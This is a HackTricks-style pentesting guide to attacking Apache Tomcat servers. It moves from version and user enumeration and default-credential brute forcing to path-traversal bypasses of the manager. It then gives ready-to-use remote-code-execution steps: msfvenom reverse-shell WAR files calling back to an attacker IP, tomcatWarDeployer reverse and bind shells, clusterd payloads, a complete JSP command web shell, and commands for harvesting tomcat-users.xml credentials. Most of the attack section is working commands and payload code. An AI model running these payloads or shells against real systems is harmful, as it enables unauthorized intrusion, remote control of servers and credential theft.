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266 lines
10 KiB
Markdown
266 lines
10 KiB
Markdown
# Tomcat
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## Discovery
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* It usually runs on **port 8080**
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* **Common Tomcat error:**
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<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
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## Enumeration
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### Version
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```bash
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curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
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<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
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```
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### Locate manager files
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It's interesting to find where are the pages **`/manager`** and **`/host-manager`** as they might have a different name. You can search them with a brute-force.
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### Username Enum
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In some versions prior to Tomcat6 you could enumerate users:
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```bash
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msf> use auxiliary/scanner/http/tomcat_enum
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```
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### Default credentials
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The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are:
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* admin:admin
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* tomcat:tomcat
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* admin:\<NOTHING>
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* admin:s3cr3t
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* tomcat:s3cr3t
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* admin:tomcat
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You could test these and more using:
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```bash
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msf> use auxiliary/scanner/http/tomcat_mgr_login
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```
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Another **interesting Tomcat** path is _**/manager/status**_, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _**/manager/html.**_
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### Bruteforce
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```bash
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hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
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msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
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msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
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msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
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msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
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```
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## Vulns
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### Password backtrace disclosure
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Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**.
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### Double URL encode
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A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**
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In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_
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Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\
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To access to backdoor you might also need to use the double urlencode trick.
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### /examples
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The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
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* /examples/jsp/num/numguess.jsp
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* /examples/jsp/dates/date.jsp
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* /examples/jsp/snp/snoop.jsp
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* /examples/jsp/error/error.html
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* /examples/jsp/sessions/carts.html
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* /examples/jsp/checkbox/check.html
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* /examples/jsp/colors/colors.html
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* /examples/jsp/cal/login.html
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* /examples/jsp/include/include.jsp
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* /examples/jsp/forward/forward.jsp
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* /examples/jsp/plugin/plugin.jsp
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* /examples/jsp/jsptoserv/jsptoservlet.jsp
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* /examples/jsp/simpletag/foo.jsp
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* /examples/jsp/mail/sendmail.jsp
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* /examples/servlet/HelloWorldExample
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* /examples/servlet/RequestInfoExample
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* /examples/servlet/RequestHeaderExample
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* /examples/servlet/RequestParamExample
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* /examples/servlet/CookieExample
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* /examples/servlet/JndiServlet
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* /examples/servlet/SessionExample
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* /tomcat-docs/appdev/sample/web/hello.jsp
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### Path Traversal (..;/)
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In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/`
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So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html`
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**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`
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## RCE
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Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.
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### Limitations
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You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post)section).
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```bash
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# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
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# deploy under "path" context path
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curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
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# undeploy
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curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
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```
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### Metasploit
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```bash
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use exploit/multi/http/tomcat_mgr_upload
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msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
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msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
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msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
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msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
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msf exploit(multi/http/tomcat_mgr_upload) > exploit
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```
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### MSFVenom Reverse Shell
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```bash
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msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
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```
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Then, **upload the `revshell.war` file and access to it (**_**/revshell/**_**)**
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### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
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In some scenarios this doesn't work (for example old versions of sun)
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#### Download
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```bash
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git clone https://github.com/mgeeky/tomcatWarDeployer.git
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```
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#### Reverse shell
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```bash
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./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
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```
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#### Bind shell
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```bash
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./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
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```
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### Using [Culsterd](https://github.com/hatRiot/clusterd)
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```bash
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clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
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```
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### Manual method - Web shell
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Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
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```java
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<FORM METHOD=GET ACTION='index.jsp'>
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<INPUT name='cmd' type=text>
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<INPUT type=submit value='Run'>
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</FORM>
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<%@ page import="java.io.*" %>
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<%
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String cmd = request.getParameter("cmd");
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String output = "";
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if(cmd != null) {
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String s = null;
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try {
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Process p = Runtime.getRuntime().exec(cmd,null,null);
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BufferedReader sI = new BufferedReader(new
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InputStreamReader(p.getInputStream()));
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while((s = sI.readLine()) != null) { output += s+"</br>"; }
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} catch(IOException e) { e.printStackTrace(); }
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}
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%>
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<pre><%=output %></pre>
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```
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```bash
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mkdir webshell
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cp index.jsp webshell
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cd webshell
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jar -cvf ../webshell.war *
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webshell.war is created
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# Upload it
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```
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You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
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### Manual Method 2
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Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:
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```bash
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wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
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zip -r backup.war cmd.jsp
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# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
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# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
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```
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## POST
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Name of Tomcat credentials file is _tomcat-users.xml_
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```bash
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find / -name tomcat-users.xml 2>/dev/null
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```
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Other ways to gather Tomcat credentials:
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```bash
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msf> use post/multi/gather/tomcat_gather
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msf> use post/windows/gather/enum_tomcat
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```
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## Other tomcat scanning tools
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* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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